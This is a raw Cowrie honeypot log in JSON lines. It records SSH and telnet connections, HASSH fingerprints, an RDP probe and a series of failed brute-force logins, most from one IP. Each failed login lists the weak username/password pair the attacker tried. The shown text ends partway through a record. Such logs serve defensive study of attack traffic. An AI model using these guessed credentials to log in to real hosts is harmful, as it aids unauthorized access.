{"eventid":"cowrie.session.closed","duration":59.916364431381226,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:17.358777Z","src_ip":"20.123.41.163","session":"386d7010b718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52282,"dst_ip":"159.203.135.109","dst_port":22,"session":"b428171fd212","protocol":"ssh","message":"New connection: 45.156.87.254:52282 (159.203.135.109:22) [session: b428171fd212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:21.834424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:21.839468Z","src_ip":"45.156.87.254","session":"b428171fd212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:21.923247Z","src_ip":"45.156.87.254","session":"b428171fd212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:22.302379Z","src_ip":"45.156.87.254","session":"b428171fd212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:23.389323Z","src_ip":"45.156.87.254","session":"b428171fd212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52290,"dst_ip":"159.203.135.109","dst_port":22,"session":"21726a8b8e79","protocol":"ssh","message":"New connection: 45.156.87.254:52290 (159.203.135.109:22) [session: 21726a8b8e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:26.803209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:26.813800Z","src_ip":"45.156.87.254","session":"21726a8b8e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:26.899034Z","src_ip":"45.156.87.254","session":"21726a8b8e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:27.218198Z","src_ip":"45.156.87.254","session":"21726a8b8e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:28.307994Z","src_ip":"45.156.87.254","session":"21726a8b8e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.231149196624756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:31.575393Z","src_ip":"185.145.252.179","session":"66b828b35db9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56790,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ecd750d6c5","protocol":"ssh","message":"New connection: 45.156.87.254:56790 (159.203.135.109:22) [session: b9ecd750d6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:32.832546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:33.006847Z","src_ip":"45.156.87.254","session":"b9ecd750d6c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:33.010996Z","src_ip":"45.156.87.254","session":"b9ecd750d6c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:33.434284Z","src_ip":"45.156.87.254","session":"b9ecd750d6c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:34.518772Z","src_ip":"45.156.87.254","session":"b9ecd750d6c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43792,"dst_ip":"10.17.0.5","dst_port":23,"session":"db0667ca3397","protocol":"telnet","message":"New connection: 20.123.41.163:43792 (10.17.0.5:23) [session: db0667ca3397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:38.179138Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58724,"dst_ip":"159.203.135.109","dst_port":22,"session":"041ddd604d84","protocol":"ssh","message":"New connection: 45.156.87.254:58724 (159.203.135.109:22) [session: 041ddd604d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:38.698262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:38.703427Z","src_ip":"45.156.87.254","session":"041ddd604d84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:38.792098Z","src_ip":"45.156.87.254","session":"041ddd604d84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:39.059860Z","src_ip":"45.156.87.254","session":"041ddd604d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:40.147938Z","src_ip":"45.156.87.254","session":"041ddd604d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55044,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1a030ced866","protocol":"telnet","message":"New connection: 104.245.105.2:55044 (10.17.0.5:23) [session: b1a030ced866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:43.670438Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58748,"dst_ip":"159.203.135.109","dst_port":22,"session":"b81378c80b28","protocol":"ssh","message":"New connection: 45.156.87.254:58748 (159.203.135.109:22) [session: b81378c80b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:44.220129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:44.224897Z","src_ip":"45.156.87.254","session":"b81378c80b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:44.311709Z","src_ip":"45.156.87.254","session":"b81378c80b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:44.580809Z","src_ip":"45.156.87.254","session":"b81378c80b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":59611,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbcc8bda98a6","protocol":"ssh","message":"New connection: 103.149.252.223:59611 (10.17.0.5:22) [session: fbcc8bda98a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:45.105756Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:45.110075Z","src_ip":"103.149.252.223","session":"fbcc8bda98a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:45.113517Z","src_ip":"103.149.252.223","session":"fbcc8bda98a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:45.665698Z","src_ip":"45.156.87.254","session":"b81378c80b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":33216,"dst_ip":"10.17.0.5","dst_port":23,"session":"3654f50f3492","protocol":"telnet","message":"New connection: 20.123.41.163:33216 (10.17.0.5:23) [session: 3654f50f3492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:48.326776Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55050,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c7d1803dd34","protocol":"telnet","message":"New connection: 104.245.105.2:55050 (10.17.0.5:23) [session: 6c7d1803dd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:48.625533Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59684,"dst_ip":"159.203.135.109","dst_port":22,"session":"a666475c8a77","protocol":"ssh","message":"New connection: 45.156.87.254:59684 (159.203.135.109:22) [session: a666475c8a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:49.390137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:49.397417Z","src_ip":"45.156.87.254","session":"a666475c8a77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:49.477102Z","src_ip":"45.156.87.254","session":"a666475c8a77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:49.838712Z","src_ip":"45.156.87.254","session":"a666475c8a77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:50.924187Z","src_ip":"45.156.87.254","session":"a666475c8a77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59694,"dst_ip":"159.203.135.109","dst_port":22,"session":"707ac0ee1f9b","protocol":"ssh","message":"New connection: 45.156.87.254:59694 (159.203.135.109:22) [session: 707ac0ee1f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:54.965983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:54.978572Z","src_ip":"45.156.87.254","session":"707ac0ee1f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:55.052906Z","src_ip":"45.156.87.254","session":"707ac0ee1f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:55.404767Z","src_ip":"45.156.87.254","session":"707ac0ee1f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:31:56.688205Z","src_ip":"45.156.87.254","session":"707ac0ee1f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51578,"dst_ip":"159.203.135.109","dst_port":22,"session":"244b1908b494","protocol":"ssh","message":"New connection: 45.156.87.254:51578 (159.203.135.109:22) [session: 244b1908b494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:00.471052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:00.477581Z","src_ip":"45.156.87.254","session":"244b1908b494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nis